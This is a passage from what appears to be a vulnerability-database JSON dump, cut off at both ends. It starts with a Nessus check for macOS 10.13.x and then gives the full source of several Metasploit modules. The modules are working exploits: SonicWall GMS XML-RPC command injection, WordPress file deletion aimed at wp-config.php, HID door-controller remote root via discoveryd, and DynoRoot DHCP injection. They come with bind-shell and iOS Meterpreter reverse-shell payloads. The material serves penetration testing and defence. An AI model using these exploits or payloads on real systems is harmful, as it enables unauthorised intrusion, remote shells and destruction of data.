exim-debuginfo / exim-greylist / exim-mon / exim-mysql / etc\");\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-11-01T02:48:26", "bulletinFamily": "scanner", "description": "The remote host is running a version of macOS / Mac OS X that is\n10.13.x prior to 10.13.4. It is, therefore, affected by multiple\nvulnerabilities in the following components :\n\n - Admin Framework\n - APFS\n - ATS\n - CoreFoundation\n - CoreText\n - Disk Images\n - Disk Management\n - File System Events\n - iCloud Drive\n - Intel Graphics Driver\n - IOFireWireFamily\n - Kernel\n - kext tools\n - LaunchServices\n - Mail\n - Notes\n - NSURLSession\n - NVIDIA Graphics Drivers\n - PDFKit\n - PluginKit\n - Quick Look\n - Security\n - Storage\n - System Preferences\n - Terminal\n - WindowServer\n\nNote that successful exploitation of the most serious issues can\nresult in arbitrary code execution.", "modified": "2019-11-02T00:00:00", "id": "MACOS_10_13_4.NASL", "href": "https://www.tenable.com/plugins/nessus/108786", "published": "2018-04-02T00:00:00", "title": "macOS 10.13.x < 10.13.4 Multiple Vulnerabilities", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(108786);\n script_version(\"1.6\");\n script_cvs_date(\"Date: 2019/06/19 15:17:43\");\n\n script_cve_id(\n \"CVE-2017-13080\",\n \"CVE-2017-13890\",\n \"CVE-2017-13911\",\n \"CVE-2017-15412\",\n \"CVE-2017-7151\",\n \"CVE-2018-4104\",\n \"CVE-2018-4105\",\n \"CVE-2018-4106\",\n \"CVE-2018-4107\",\n \"CVE-2018-4108\",\n \"CVE-2018-4111\",\n \"CVE-2018-4112\",\n \"CVE-2018-4115\",\n \"CVE-2018-4131\",\n \"CVE-2018-4132\",\n \"CVE-2018-4135\",\n \"CVE-2018-4136\",\n \"CVE-2018-4138\",\n \"CVE-2018-4139\",\n \"CVE-2018-4142\",\n \"CVE-2018-4143\",\n \"CVE-2018-4144\",\n \"CVE-2018-4150\",\n \"CVE-2018-4151\",\n \"CVE-2018-4152\",\n \"CVE-2018-4154\",\n \"CVE-2018-4155\",\n \"CVE-2018-4156\",\n \"CVE-2018-4157\",\n \"CVE-2018-4158\",\n \"CVE-2018-4160\",\n \"CVE-2018-4167\",\n \"CVE-2018-4170\",\n \"CVE-2018-4173\",\n \"CVE-2018-4174\",\n \"CVE-2018-4175\",\n \"CVE-2018-4176\",\n \"CVE-2018-4179\",\n \"CVE-2018-4185\",\n \"CVE-2018-4187\",\n \"CVE-2018-4298\"\n );\n script_bugtraq_id(\n 101274,\n 102098,\n 103579,\n 103581,\n 103582,\n 103958,\n 104223\n );\n script_name(english:\"macOS 10.13.x < 10.13.4 Multiple Vulnerabilities\");\n script_summary(english:\"Checks the version of Mac OS X / macOS.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a macOS update that fixes multiple security\nvulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of macOS / Mac OS X that is\n10.13.x prior to 10.13.4. It is, therefore, affected by multiple\nvulnerabilities in the following components :\n\n - Admin Framework\n - APFS\n - ATS\n - CoreFoundation\n - CoreText\n - Disk Images\n - Disk Management\n - File System Events\n - iCloud Drive\n - Intel Graphics Driver\n - IOFireWireFamily\n - Kernel\n - kext tools\n - LaunchServices\n - Mail\n - Notes\n - NSURLSession\n - NVIDIA Graphics Drivers\n - PDFKit\n - PluginKit\n - Quick Look\n - Security\n - Storage\n - System Preferences\n - Terminal\n - WindowServer\n\nNote that successful exploitation of the most serious issues can\nresult in arbitrary code execution.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT208692\");\n # https://lists.apple.com/archives/security-announce/2018/Mar/msg00004.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?e0e00f71\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to macOS version 10.13.4 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2018-4298\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/03/29\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/03/29\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/04/02\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"combined\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"os_fingerprint.nasl\");\n script_require_ports(\"Host/MacOSX/Version\", \"Host/OS\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\n\nos = get_kb_item(\"Host/MacOSX/Version\");\nif (!os)\n{\n os = get_kb_item_or_exit(\"Host/OS\");\n if (\"Mac OS X\" >!< os) audit(AUDIT_OS_NOT, \"macOS / Mac OS X\");\n\n c = get_kb_item(\"Host/OS/Confidence\");\n if (c <= 70) exit(1, \"Can't determine the host's OS with sufficient confidence.\");\n}\nif (!os) audit(AUDIT_OS_NOT, \"macOS / Mac OS X\");\n\nmatches = pregmatch(pattern:\"Mac OS X ([0-9]+(\\.[0-9]+)+)\", string:os);\nif (empty_or_null(matches)) exit(1, \"Failed to parse the macOS / Mac OS X version ('\" + os + \"').\");\n\nversion = matches[1];\nfixed_version = \"10.13.4\";\n\nif (version !~\"^10\\.13($|[^0-9])\")\n audit(AUDIT_OS_NOT, \"macOS 10.13.x\");\n\nif (ver_compare(ver:version, fix:'10.13.4', strict:FALSE) == -1)\n{\n security_report_v4(\n port:0,\n severity:SECURITY_HOLE,\n extra:\n '\\n Installed version : ' + version +\n '\\n Fixed version : ' + fixed_version +\n '\\n'\n );\n}\nelse audit(AUDIT_INST_VER_NOT_VULN, \"macOS / Mac OS X\", version);\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2019-12-06T03:28:40", "bulletinFamily": "exploit", "description": "This module exploits a vulnerability in SonicWall Global Management System Virtual Appliance versions 8.1 (Build 8110.1197) and below. This virtual appliance can be downloaded from http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a holistic way to manage your entire network security environment.' These vulnerable versions (8.1 Build 8110.1197 and below) do not prevent unauthenticated, external entities from making XML-RPC requests to port 21009 of the virtual app. After the XML-RPC call is made, a shell script is called like so: 'timeSetup.sh --tz=\"`command injection here`\"' --usentp=\"blah\"'.\n", "modified": "2019-03-06T23:29:15", "published": "2018-07-05T17:06:13", "id": "MSF:EXPLOIT/UNIX/SONICWALL/SONICWALL_XMLRPC_RCE", "href": "", "type": "metasploit", "title": "SonicWall Global Management System XMLRPC set_time_zone Unauth RCE", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info={})\n super(update_info(info,\n 'Name' => \"SonicWall Global Management System XMLRPC set_time_zone Unauth RCE\",\n 'Description' => %q{\n This module exploits a vulnerability in SonicWall Global\n Management System Virtual Appliance versions 8.1 (Build 8110.1197)\n and below. This virtual appliance can be downloaded from\n http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a\n holistic way to manage your entire network security environment.'\n\n These vulnerable versions (8.1 Build 8110.1197 and below) do not\n prevent unauthenticated, external entities from making XML-RPC\n requests to port 21009 of the virtual app. After the XML-RPC call\n is made, a shell script is called like so:\n 'timeSetup.sh --tz=\"`command injection here`\"' --usentp=\"blah\"'.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [ 'Michael Flanders', #MSF Module\n 'kernelsmith' #Advisor\n ],\n 'References' => [\n ['URL', 'https://www.digitaldefense.com/digital-defense/vrt-discoveries/'],\n ['URL', 'https://slides.com/kernelsmith/bsidesaustin2018/#/']\n ],\n 'Platform' => [ 'unix' ],\n 'Arch' => ARCH_CMD,\n 'Targets' => [\n [ 'SonicWall Global Management System Virtual Appliance', {} ],\n ],\n 'Payload' => {\n # Can't use ampersand, Java's XML-RPC parser will complain and return an error\n 'BadChars' => \"\\x26\",\n 'Compat' => {\n 'PayloadType' => 'cmd',\n 'RequiredCmd' => 'generic bash telnet'\n }\n },\n 'DisclosureDate' => \"Jul 22 2016\",\n 'DefaultTarget' => 0))\n\n register_options(\n [\n OptString.new('WEB_SERVER_PORT', [ false, 'Port of web console login page.\n Defaults to 80/443 depending on SSL.'])\n ])\n end\n\n def check\n if datastore['WEB_SERVER_PORT']\n port_number = datastore['WEB_SERVER_PORT']\n else\n port_number = datastore['SSL'] ? '443' : '80'\n end\n\n handler = datastore['SSL'] ? 'https' : 'http'\n\n res = request_url(\"#{handler}://#{rhost}:#{port_number}\")\n\n unless res\n vprint_error 'Connection failed'\n return CheckCode::Unknown\n end\n\n unless res.code == 200 && res.body =~ /<TITLE>.+v(\\d\\.\\d)/\n return CheckCode::Safe\n end\n\n version = Gem::Version.new $1.to_s\n\n unless version <= Gem::Version.new('8.1')\n return CheckCode::Safe\n end\n\n CheckCode::Appears\n end\n\n def exploit\n unless check == CheckCode::Appears\n fail_with Failure::NotVulnerable, \"The target is not vulnerable.\"\n end\n\n print_status \"The target appears to be vulnerable, continuing exploit...\"\n send_xml\n end\n\n def send_xml\n xml_body = <<~HERESTRING\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <methodCall>\n <methodName>set_time_config</methodName>\n <params>\n <param>\n <value>\n <struct>\n <member>\n <name>timezone</name>\n <value>\n <string>\"`#{payload.encoded}`\"</string>\n </value>\n </member>\n </struct>\n </value>\n </param>\n </params>\n </methodCall>\n HERESTRING\n\n res = send_request_raw({\n 'method' => 'POST',\n 'uri' => '/',\n 'data' => xml_body,\n 'ctype' => 'text/xml; charset=UTF-8'\n })\n\n unless res && res.body.include?(\"success\")\n print_error(\"Error sending XML to #{rhost}:#{rport}\")\n end\n end\n\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/sonicwall/sonicwall_xmlrpc_rce.rb"}, {"lastseen": "2019-12-04T08:39:50", "bulletinFamily": "exploit", "description": "An arbitrary file deletion vulnerability in the WordPress core allows any user with privileges of an Author to completely take over the WordPress site and to execute arbitrary code on the server.\n", "modified": "2019-09-23T14:29:38", "published": "2018-07-03T10:21:38", "id": "MSF:AUXILIARY/SCANNER/HTTP/WP_ARBITRARY_FILE_DELETION", "href": "", "type": "metasploit", "title": "Wordpress Arbitrary File Deletion", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::HTTP::Wordpress\n\n def initialize(info = {})\n super(update_info(\n info,\n 'Name' => 'Wordpress Arbitrary File Deletion',\n 'Description' => %q(\n An arbitrary file deletion vulnerability in the WordPress core allows any user with privileges of an\n Author to completely take over the WordPress site and to execute arbitrary code on the server.\n ),\n 'Author' =>\n [\n 'Slavco Mihajloski', # Vulnerability discovery\n 'Karim El Ouerghemmi', # Vulnerability discovery\n 'Alo\u00efs Th\u00e9venot' # Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n ['WPVDB', '9100'],\n ['EDB', '44949'],\n ['PACKETSTORM', '148333'],\n ['URL', 'https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/'],\n ['URL', 'https://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/']\n ],\n 'Privileged' => false,\n 'Platform' => 'php',\n 'Arch' => ARCH_PHP,\n 'DisclosureDate' => 'Jun 26 2018'\n ))\n\n register_options(\n [\n OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),\n OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']),\n OptString.new('FILEPATH', [true, 'The path to the file to delete', '../../../../wp-config.php'])\n ]\n )\n end\n\n def username\n datastore['USERNAME']\n end\n\n def password\n datastore['PASSWORD']\n end\n\n def get_nonce(cookie)\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(wordpress_url_backend, 'upload.php'),\n 'cookie' => cookie\n )\n\n unless res && (res.code == 200)\n fail_with(Failure::UnexpectedReply, \"Could not get the nonce (#{res.code})\")\n end\n\n res.body.scan(/\"_wpnonce\":\"([a-z0-9]+)\"/)[0][0].to_s\n end\n\n def run\n vprint_status('Checking if target is online and running Wordpress...')\n if wordpress_and_online?.nil?\n fail_with(Failure::BadConfig, 'The target is not online and running Wordpress')\n end\n vprint_status('Checking access...')\n cookie = wordpress_login(username, password)\n if cookie.nil?\n fail_with(Failure::BadConfig, 'Invalid credentials')\n end\n store_valid_credential(user: username, private: password, proof: cookie)\n\n vprint_status('Getting the nonce...')\n nonce = get_nonce(cookie)\n\n vprint_status('Uploading media...')\n data = Rex::MIME::Message.new\n data.add_part(Rex::Text.decode_base64('R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs='), \"image/gif\", nil, \"form-data; name=\\\"async-upload\\\"; filename=\\\"a.gif\\\"\")\n data.add_part(\"upload-attachment\", nil, nil, \"form-data; name=\\\"action\\\"\")\n data.add_part(nonce, nil, nil, \"form-data; name=\\\"_wpnonce\\\"\")\n\n post_data = data.to_s\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(wordpress_url_backend, 'async-upload.php'),\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n 'data' => post_data,\n 'cookie' => cookie\n )\n\n unless res && (res.code == 200)\n fail_with(Failure::UnexpectedReply, \"Could not upload the media (#{res.code})\")\n end\n\n json = JSON.parse(res.body)\n id = json['data']['id']\n update_nonce = json['data']['nonces']['update']\n delete_nonce = json['data']['nonces']['delete']\n\n vprint_status('Editing thumb path...')\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(wordpress_url_backend, \"post.php?post=#{id}\"),\n 'cookie' => cookie,\n 'vars_post' =>\n {\n 'action' => 'editattachment',\n '_wpnonce' => update_nonce,\n 'thumb' => datastore['FILEPATH']\n }\n )\n\n unless res && (res.code == 302)\n fail_with(Failure::UnexpectedReply, \"Could not edit media (#{res.code})\")\n end\n\n vprint_status('Deleting media...')\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),\n 'cookie' => cookie,\n 'vars_post' =>\n {\n 'action' => 'delete-post',\n '_wpnonce' => delete_nonce,\n 'id' => id\n }\n )\n\n unless res && (res.code == 200)\n fail_with(Failure::UnexpectedReply, \"Could not delete media (#{res.code})\")\n end\n\n print_good('File deleted!')\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/http/wp_arbitrary_file_deletion.rb"}, {"lastseen": "2019-11-22T14:45:17", "bulletinFamily": "exploit", "description": "This module exploits an unauthenticated remote command execution vulnerability in the discoveryd service exposed by HID VertX and Edge door controllers. This module was tested successfully on a HID Edge model EH400 with firmware version 2.3.1.603 (Build 04/23/2012).\n", "modified": "2019-01-10T19:19:14", "published": "2018-06-03T05:41:10", "id": "MSF:EXPLOIT/LINUX/MISC/HID_DISCOVERYD_COMMAND_BLINK_ON_UNAUTH_RCE", "href": "", "type": "metasploit", "title": "HID discoveryd command_blink_on Unauthenticated RCE", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::Udp\n include Msf::Exploit::CmdStager\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'HID discoveryd command_blink_on Unauthenticated RCE',\n 'Description' => %q{\n This module exploits an unauthenticated remote command execution\n vulnerability in the discoveryd service exposed by HID VertX and Edge\n door controllers.\n\n This module was tested successfully on a HID Edge model EH400\n with firmware version 2.3.1.603 (Build 04/23/2012).\n },\n 'Author' =>\n [\n 'Ricky \"HeadlessZeke\" Lawshae', # Discovery\n 'coldfusion39', # VertXploit\n 'bcoles' # Metasploit\n ],\n 'License' => MSF_LICENSE,\n 'Platform' => 'linux',\n 'Arch' => ARCH_ARMLE,\n 'Privileged' => true,\n 'References' =>\n [\n ['ZDI', '16-223'],\n ['URL', 'https://blog.trendmicro.com/let-get-door-remote-root-vulnerability-hid-door-controllers/'],\n ['URL', 'http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html'],\n ['URL', 'https://exfil.co/2016/05/09/exploring-the-hid-eh400/'],\n ['URL', 'https://github.com/lixmk/Concierge'],\n ['URL', 'https://github.com/coldfusion39/VertXploit']\n ],\n 'DisclosureDate' => 'Mar 28 2016',\n 'DefaultOptions' =>\n {\n 'WfsDelay' => 30,\n 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',\n 'CMDSTAGER::FLAVOR' => 'echo'\n },\n 'Targets' => [['Automatic', {}]],\n 'CmdStagerFlavor' => 'echo', # wget is available, however the wget command is too long\n 'DefaultTarget' => 0))\n register_options [ Opt::RPORT(4070) ]\n end\n\n def check\n connect_udp\n udp_sock.put 'discover;013;'\n res = udp_sock.get(5)\n disconnect_udp\n\n if res.to_s.eql? ''\n vprint_error 'Connection failed'\n return CheckCode::Unknown\n end\n\n hid_res = parse_discovered_response res\n if hid_res[:mac].eql? ''\n vprint_error 'Malformed response'\n return CheckCode::Safe\n end\n\n @mac = hid_res[:mac]\n\n vprint_good \"#{rhost}:#{rport} - HID discoveryd service detected\"\n vprint_line hid_res.to_s\n report_service(\n host: rhost,\n mac: hid_res[:mac],\n port: rport,\n proto: 'udp',\n name: 'hid-discoveryd',\n info: hid_res\n )\n\n if hid_res[:version].to_s.eql? ''\n vprint_error \"#{rhost}:#{rport} - Could not determine device version\"\n return CheckCode::Detected\n end\n\n # Vulnerable version mappings from VertXploit\n vuln = false\n version = Gem::Version.new(hid_res[:version].to_s)\n case hid_res[:model]\n when 'E400' # EDGEPlus\n vuln = true if version <= Gem::Version.new('3.5.1.1483')\n when 'EH400' # EDGE EVO\n vuln = true if version <= Gem::Version.new('3.5.1.1483')\n when 'EHS400' # EDGE EVO Solo\n vuln = true if version <= Gem::Version.new('3.5.1.1483')\n when 'ES400' # EDGEPlus Solo\n vuln = true if version <= Gem::Version.new('3.5.1.1483')\n when 'V2-V1000' # VertX EVO\n vuln = true if version <= Gem::Version.new('3.5.1.1483')\n when 'V2-V2000' # VertX EVO\n vuln = true if version <= Gem::Version.new('3.5.1.1483')\n when 'V1000' # VertX Legacy\n vuln = true if version <= Gem::Version.new('2.2.7.568')\n when 'V2000' # VertX Legacy\n vuln = true if version <= Gem::Version.new('2.2.7.568')\n else\n vprint_error \"#{rhost}:#{rport} - Device model was not recognized\"\n return CheckCode::Detected\n end\n\n vuln ? CheckCode::Appears : CheckCode::Safe\n end\n\n def send_command(cmd)\n connect_udp\n\n # double escaping for echo -ne stager\n encoded_cmd = cmd.gsub(\"\\\\\", \"\\\\\\\\\\\\\")\n\n # packet length (max 44)\n len = '044'\n\n # <num> of times to blink LED, if the device has a LED; else\n # <num> second to beep (very loudly) if the device does not have a LED\n num = -1 # no beep/blink ;)\n\n # construct packet\n req = ''\n req << 'command_blink_on;'\n req << \"#{len};\"\n req << \"#{@mac};\"\n req << \"#{num}`#{encoded_cmd}`;\"\n\n # send packet\n udp_sock.put req\n res = udp_sock.get(5)\n disconnect_udp\n\n unless res.to_s.start_with? 'ack;'\n fail_with Failure::UnexpectedReply, 'Malformed response'\n end\n end\n\n def execute_command(cmd, opts)\n # the protocol uses ';' as a separator,\n # so we issue each system command separately.\n # we're using the echo command stager which hex encodes the payload,\n # so there's no risk of replacing any ';' characters in the payload data.\n cmd.split(';').each do |c|\n send_command c\n end\n end\n\n def exploit\n print_status \"#{rhost}:#{rport} - Connecting to target\"\n\n check_code = check\n unless check_code == CheckCode::Appears || check_code == CheckCode::Detected\n fail_with Failure::Unknown, \"#{rhost}:#{rport} - Target is not vulnerable\"\n end\n\n # linemax is closer to 40,\n # however we need to account for additinal double escaping\n execute_cmdstager linemax: 30, :temp => '/tmp'\n end\n\n def parse_discovered_response(res)\n info = {}\n\n return unless res.start_with? 'discovered'\n\n hid_res = res.split(';')\n return unless hid_res.size == 9\n return unless hid_res[0] == 'discovered'\n return unless hid_res[1].to_i == res.length\n\n {\n :mac => hid_res[2],\n :name => hid_res[3],\n :ip => hid_res[4],\n # ? => hid_res[5], # '1'\n :model => hid_res[6],\n :version => hid_res[7],\n :version_date => hid_res[8]\n }\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.rb"}, {"lastseen": "2019-11-25T22:31:21", "bulletinFamily": "exploit", "description": "This module exploits the DynoRoot vulnerability, a flaw in how the NetworkManager integration script included in the DHCP client in Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier processes DHCP options. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.\n", "modified": "2018-08-27T18:11:22", "published": "2018-05-18T16:47:08", "id": "MSF:EXPLOIT/UNIX/DHCP/RHEL_DHCP_CLIENT_COMMAND_INJECTION", "href": "", "type": "metasploit", "title": "DHCP Client Command Injection (DynoRoot)", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::DHCPServer\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'DHCP Client Command Injection (DynoRoot)',\n 'Description' => %q{\n This module exploits the DynoRoot vulnerability, a flaw in how the\n NetworkManager integration script included in the DHCP client in\n Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier\n processes DHCP options. A malicious DHCP server, or an attacker on\n the local network able to spoof DHCP responses, could use this flaw\n to execute arbitrary commands with root privileges on systems using\n NetworkManager and configured to obtain network configuration using\n the DHCP protocol.\n },\n 'Author' =>\n [\n 'Felix Wilhelm', # Vulnerability discovery\n 'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix'],\n 'Arch' => ARCH_CMD,\n 'Privileged' => true,\n 'References' =>\n [\n ['CVE', '2018-1111'],\n ['EDB': '44652'],\n ['URL', 'https://github.com/kkirsche/CVE-2018-1111'],\n ['URL', 'https://twitter.com/_fel1x/status/996388421273882626?lang=en'],\n ['URL', 'https://access.redhat.com/security/vulnerabilities/3442151'],\n ['URL', 'https://dynoroot.ninja/'],\n ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'],\n ['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'],\n ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111']\n ],\n 'Targets' => [ [ 'Automatic Target', { }] ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => 'May 15 2018',\n 'Notes' =>\n {\n 'AKA' => ['DynoRoot']\n }\n ))\n\n deregister_options('DOMAINNAME', 'HOSTNAME', 'URL', 'FILENAME')\n end\n\n def exploit\n hash = datastore.copy\n start_service(hash)\n @dhcp.set_option(proxy_auto_discovery: \"#{Rex::Text.rand_text_alpha(6..12)}'&#{payload.encoded} #\")\n\n begin\n while @dhcp.thread.alive?\n sleep 2\n end\n ensure\n stop_service\n end\n end\nend\n", "cvss": {"score": 7.9, "vector": "AV:A/AC:M/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/dhcp/rhel_dhcp_client_command_injection.rb"}, {"lastseen": "2019-11-24T21:34:36", "bulletinFamily": "exploit", "description": "Listen for a connection and spawn a command shell (stub only, no payload)\n", "modified": "2017-12-28T22:21:37", "published": "2017-12-28T22:21:37", "id": "MSF:PAYLOAD/CMD/UNIX/BIND_STUB", "href": "", "type": "metasploit", "title": "Unix Command Shell, Bind TCP (stub)", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/handler/bind_tcp'\nrequire 'msf/base/sessions/command_shell'\nrequire 'msf/base/sessions/command_shell_options'\n\nmodule MetasploitModule\n\n CachedSize = 0\n\n include Msf::Payload::Single\n include Msf::Sessions::CommandShellOptions\n\n def initialize(info = {})\n super(merge_info(info,\n 'Name' => 'Unix Command Shell, Bind TCP (stub)',\n 'Description' => 'Listen for a connection and spawn a command shell (stub only, no payload)',\n 'Author' => 'hdm',\n 'License' => MSF_LICENSE,\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Handler' => Msf::Handler::BindTcp,\n 'Session' => Msf::Sessions::CommandShell,\n 'PayloadType' => 'cmd_bind_stub',\n 'RequiredCmd' => '',\n 'Payload' =>\n {\n 'Offsets' => { },\n 'Payload' => ''\n }\n ))\n end\n\n #\n # Generate an empty payload\n #\n def generate\n ''\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/payloads/singles/cmd/unix/bind_stub.rb"}, {"lastseen": "2019-11-22T20:49:44", "bulletinFamily": "exploit", "description": "Run the Meterpreter / Mettle server payload (stageless)\n", "modified": "2019-05-21T17:40:27", "published": "2017-12-12T08:05:23", "id": "MSF:PAYLOAD/APPLE_IOS/AARCH64/METERPRETER_REVERSE_TCP", "href": "", "type": "metasploit", "title": "Apple_iOS Meterpreter, Reverse TCP Inline", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/handler/reverse_tcp'\nrequire 'msf/base/sessions/meterpreter_options'\nrequire 'msf/base/sessions/mettle_config'\nrequire 'msf/base/sessions/meterpreter_aarch64_apple_ios'\n\nmodule MetasploitModule\n\n CachedSize = 796364\n\n include Msf::Payload::Single\n include Msf::Sessions::MeterpreterOptions\n include Msf::Sessions::MettleConfig\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Apple_iOS Meterpreter, Reverse TCP Inline',\n 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',\n 'Author' => [\n 'Adam Cammack <adam_cammack[at]rapid7.com>',\n 'Brent Cook <brent_cook[at]rapid7.com>',\n 'timwr'\n ],\n 'Platform' => 'apple_ios',\n 'Arch' => ARCH_AARCH64,\n 'License' => MSF_LICENSE,\n 'Handler' => Msf::Handler::ReverseTcp,\n 'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS\n )\n )\n end\n\n def generate\n opts = {\n scheme: 'tcp',\n stageless: true\n }\n MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb"}, {"lastseen": "2019-12-02T14:15:43", "bulletinFamily": "exploit", "description": "Run the Meterpreter / Mettle server payload (stageless)\n", "modified": "2019-05-21T17:40:27", "published": "2017-12-12T08:05:23", "id": "MSF:PAYLOAD/APPLE_IOS/AARCH64/METERPRETER_REVERSE_HTTPS", "href": "", "type": "metasploit", "title": "Apple_iOS Meterpreter, Reverse HTTPS Inline", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/handler/reverse_https'\nrequire 'msf/base/sessions/meterpreter_options'\nrequire 'msf/base/sessions/mettle_config'\nrequire 'msf/base/sessions/meterpreter_aarch64_apple_ios'\n\nmodule MetasploitModule\n\n CachedSize = 796364\n\n include Msf::Payload::Single\n include Msf::Sessions::MeterpreterOptions\n include Msf::Sessions::MettleConfig\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Apple_iOS Meterpreter, Reverse HTTPS Inline',\n 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',\n 'Author' => [\n 'Adam Cammack <adam_cammack[at]rapid7.com>',\n 'Brent Cook <brent_cook[at]rapid7.com>',\n 'timwr'\n ],\n 'Platform' => 'apple_ios',\n 'Arch' => ARCH_AARCH64,\n 'License' => MSF_LICENSE,\n 'Handler' => Msf::Handler::ReverseHttps,\n 'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS\n )\n )\n end\n\n def generate\n opts = {\n scheme: 'https',\n 